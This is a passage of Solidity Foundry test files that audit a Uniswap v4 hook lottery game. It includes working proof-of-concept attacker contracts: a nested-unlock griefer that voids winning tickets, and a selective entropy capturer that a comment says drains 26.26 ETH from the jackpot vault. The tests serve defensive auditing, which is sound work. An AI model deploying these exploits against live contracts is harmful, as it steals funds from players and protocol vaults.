    IPoolManager internal manager;
    LaunchToken internal token;
    JackpotVault internal jackpot;
    CharityVault internal charity;
    HauntedHook internal hook;
    EthReceivingRouter internal router;
    PoolKey internal key;

    address internal owner = makeAddr("owner");
    address internal charityWallet = makeAddr("charityWallet");
    address internal alice = makeAddr("alice");

    receive() external payable {}

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        token = new LaunchToken();
        jackpot = new JackpotVault(owner, 300, 10 minutes);
        charity = new CharityVault(owner, charityWallet, 100, 1 hours);

        bytes memory initCode = abi.encodePacked(
            type(HauntedHook).creationCode,
            abi.encode(address(manager), address(token), owner, address(jackpot), address(charity))
        );
        (bytes32 salt,) =
            HookSaltMiner.mine(address(this), keccak256(initCode), HookSaltMiner.HAUNTED_HOOK_FLAGS, 0, 1_000_000);
        hook = new HauntedHook{salt: salt}(address(manager), address(token), owner, address(jackpot), address(charity));

        vm.startPrank(owner);
        jackpot.grantRole(jackpot.PAYER_ROLE(), address(hook));
        charity.grantRole(charity.SIGNALER_ROLE(), address(hook));
        hook.forceOutcome(HauntedHook.Outcome.MiniJackpot);
        vm.stopPrank();

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, 79_228_162_514_264_337_593_543_950_336);

        PoolModifyLiquidityTest lpRouter = new PoolModifyLiquidityTest(manager);
        vm.deal(address(this), 1e25);
        token.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity{value: 2000 ether}(
            key, ModifyLiquidityParams({tickLower: -887_220, tickUpper: 887_220, liquidityDelta: 1e21, salt: 0}), ""
        );

        router = new EthReceivingRouter(manager);
        (bool ok,) = address(jackpot).call{value: 100 ether}("");
        require(ok);
    }

    /// @notice A user swapping through a third-party router passes no hookData. The jackpot the
    /// swap wins must not be paid to the router contract, which is not a player.
    function test_emptyHookDataMustNotPayTheRouter() public {
        vm.deal(alice, 10 ether);
        uint256 aliceBefore = alice.balance;
        vm.prank(alice);
        bool swapped;
        try router.swap{value: 1 ether}(
            key,
            SwapParams({zeroForOne: true, amountSpecified: -1 ether, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
            ""
        ) {
            swapped = true;
        } catch {}

        // Jackpot ETH must never land on the router contract.
        assertEq(address(router).balance, 0, "jackpot paid to the router contract");
        // If the swap went through, whatever was released reached the player who swapped.
        if (swapped) {
            assertEq(alice.balance, aliceBefore - 1 ether + jackpot.totalReleased(), "release did not reach the player");
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolModifyLiquidityTest} from "v4-core/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";
import {HauntedHook} from "src/HauntedHook.sol";
import {HauntedGame} from "src/HauntedGame.sol";
import {HookSaltMiner} from "src/HookSaltMiner.sol";

/// @dev Any outsider: opens its own PoolManager unlock and calls execute from inside it, so the
/// game's own manager.unlock calls revert AlreadyUnlocked and are swallowed by its try/catch.
contract NestedUnlockGriefer is IUnlockCallback {
    IPoolManager public immutable manager;
    HauntedGame public immutable game;

    constructor(IPoolManager m, HauntedGame g) {
        manager = m;
        game = g;
    }

    function grief(uint256 id) external {
        manager.unlock(abi.encode(id));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        game.execute(abi.decode(data, (uint256)));
        return "";
    }
}

contract NestedUnlockGriefTest is Test {
    IPoolManager internal manager;
    LaunchToken internal token;
    JackpotVault internal jackpot;
    CharityVault internal charity;
    HauntedHook internal hook;
    HauntedGame internal game;
    PoolKey internal key;

    address internal owner = makeAddr("owner");
    address internal charityWallet = makeAddr("charityWallet");
    address internal alice = makeAddr("alice");
    address internal outsider = makeAddr("outsider");

    receive() external payable {}

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        token = new LaunchToken();
        jackpot = new JackpotVault(owner, 300, 10 minutes);
        charity = new CharityVault(owner, charityWallet, 100, 1 hours);

        bytes memory initCode = abi.encodePacked(
            type(HauntedHook).creationCode,
            abi.encode(address(manager), address(token), owner, address(jackpot), address(charity))
        );
        (bytes32 salt,) =
            HookSaltMiner.mine(address(this), keccak256(initCode), HookSaltMiner.HAUNTED_HOOK_FLAGS, 0, 1_000_000);
        hook = new HauntedHook{salt: salt}(address(manager), address(token), owner, address(jackpot), address(charity));
        game = hook.game();

        vm.startPrank(owner);
        jackpot.grantRole(jackpot.PAYER_ROLE(), address(hook));
        charity.grantRole(charity.SIGNALER_ROLE(), address(hook));
        vm.stopPrank();

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, 79_228_162_514_264_337_593_543_950_336);

        PoolModifyLiquidityTest lpRouter = new PoolModifyLiquidityTest(manager);
        vm.deal(address(this), 1e25);
        token.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity{value: 2000 ether}(
            key, ModifyLiquidityParams({tickLower: -887_220, tickUpper: 887_220, liquidityDelta: 1e21, salt: 0}), ""
        );
        (bool ok,) = address(jackpot).call{value: 100 ether}("");
        require(ok);
    }

    /// @notice Alice's committed ticket draws MiniJackpot. An outsider must not be able to resolve
    /// it as a failed trade (fee kept, no swap, no jackpot) merely by calling execute from inside
    /// its own PoolManager unlock.
    function test_outsiderCannotVoidAWinningTicketFromInsideAnUnlock() public {
        vm.deal(alice, 1 ether);
        vm.prank(alice);
        uint256 id = game.commit{value: 1 ether}(true, 1 ether, 1);

        (,,, uint256 targetBlock, uint256 level,,) = game.tickets(id);
        vm.roll(targetBlock);
        bool found;
        for (uint256 i = 1; i < 200_000; ++i) {
            uint256 roll = uint256(keccak256(abi.encode(bytes32(i), block.chainid, address(game), id))) % 1000;
            if (hook.outcomeForRoll(roll, level) == HauntedHook.Outcome.MiniJackpot) {
                vm.prevrandao(bytes32(i));
                found = true;
                break;
            }
        }
        require(found, "no entropy");
        game.captureEntropy();
        vm.roll(targetBlock + 1);

        NestedUnlockGriefer griefer = new NestedUnlockGriefer(manager, game);
        vm.prank(outsider);
        try griefer.grief{gas: 5_000_000}(id) {} catch {}

        // If the nested call was refused, the ticket is still open and resolves normally.
        (,,,,,, bool resolved) = game.tickets(id);
        if (!resolved) game.execute{gas: 5_000_000}(id);

        assertGt(game.credit(alice, address(token)), 0, "ticket voided: alice's committed swap never traded");
        assertEq(game.credit(alice, address(0)), 0, "ticket voided: input refunded less the fee");
        assertEq(alice.balance, 3 ether, "ticket voided: the drawn jackpot was not paid");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {PoolModifyLiquidityTest} from "v4-core/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";
import {HauntedHook} from "src/HauntedHook.sol";
import {HauntedGame} from "src/HauntedGame.sol";
import {HookSaltMiner} from "src/HookSaltMiner.sol";

/// @dev In the target block, reads the beacon, computes its own roll and captures only on a jackpot.
contract SelectiveCapturer {
    HauntedGame private game;
    HauntedHook private hook;

    constructor(HauntedGame g, HauntedHook h) {
        game = g;
        hook = h;
    }

    receive() external payable {}

    function commit() external payable returns (uint256) {
        return game.commit{value: msg.value}(true, uint128(msg.value), 1);
    }

    function captureIfJackpot(uint256 id) external returns (bool) {
        (,,,, uint256 level,,) = game.tickets(id);
        uint256 roll = uint256(keccak256(abi.encode(bytes32(block.prevrandao), block.chainid, address(game), id))) % 1000;
        if (hook.outcomeForRoll(roll, level) == HauntedHook.Outcome.MiniJackpot) {
            game.captureEntropy();
            return true;
        }
        return false;
    }
}

contract SelectiveCaptureProof is Test {
    IPoolManager internal manager;
    LaunchToken internal token;
    JackpotVault internal jackpot;
    CharityVault internal charity;
    HauntedHook internal hook;
    HauntedGame internal game;
    PoolKey internal key;
    address internal owner = makeAddr("owner");

    receive() external payable {}

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        token = new LaunchToken();
        jackpot = new JackpotVault(owner, 300, 10 minutes);
        charity = new CharityVault(owner, makeAddr("charity"), 100, 1 hours);
        bytes memory initCode = abi.encodePacked(
            type(HauntedHook).creationCode,
            abi.encode(address(manager), address(token), owner, address(jackpot), address(charity))
        );
        (bytes32 salt,) =
            HookSaltMiner.mine(address(this), keccak256(initCode), HookSaltMiner.HAUNTED_HOOK_FLAGS, 0, 1_000_000);
        hook = new HauntedHook{salt: salt}(address(manager), address(token), owner, address(jackpot), address(charity));
        game = hook.game();
        vm.startPrank(owner);
        jackpot.grantRole(jackpot.PAYER_ROLE(), address(hook));
        charity.grantRole(charity.SIGNALER_ROLE(), address(hook));
        vm.stopPrank();
        key = PoolKey(
            CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), LPFeeLibrary.DYNAMIC_FEE_FLAG, 60, IHooks(address(hook))
        );
        manager.initialize(key, 79_228_162_514_264_337_593_543_950_336);
        PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(manager);
        vm.deal(address(this), 1e25);
        token.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity{value: 2000 ether}(key, ModifyLiquidityParams(-887_220, 887_220, int256(1e21), 0), "");
    }

    function test_dustPlayerCannotSelectWinningDrawsAtCaptureTime() public {
        jackpot.fund{value: 100 ether}();
        SelectiveCapturer p = new SelectiveCapturer(game, hook);
        vm.deal(address(p), 1 ether);
        uint256 dust = 2000;
        uint256 wins;
        uint256 spent;
        for (uint256 i = 1; i <= 400; ++i) {
            uint256 id = p.commit{value: dust}();
            (,,, uint256 target,,,) = game.tickets(id);
            vm.roll(target);
            vm.prevrandao(keccak256(abi.encode("beacon", i)));
            bool captured = p.captureIfJackpot(id);
            vm.roll(target + 1);
            vm.warp(block.timestamp + 10 minutes);
            if (captured) {
                uint256 before = address(p).balance;
                game.execute(id);
                if (address(p).balance > before) ++wins;
                spent += (dust * 3000 + 999_999) / 1_000_000;
            } else {
                game.expire(id);
                spent += (dust * 50_000 + 999_999) / 1_000_000;
            }
        }
        emit log_named_uint("jackpots won", wins);
        emit log_named_uint("wei spent on fees", spent);
        emit log_named_uint("wei extracted from the vault", jackpot.totalReleased());
        // Expected: a player who refuses to capture losing beacons gains nothing from it. Actual on the
        // current code: 10 jackpots, 26.26 ETH extracted, 39,060 wei spent.
        assertEq(wins, 0, "a player selected which draws it kept and was paid for it");
    }
}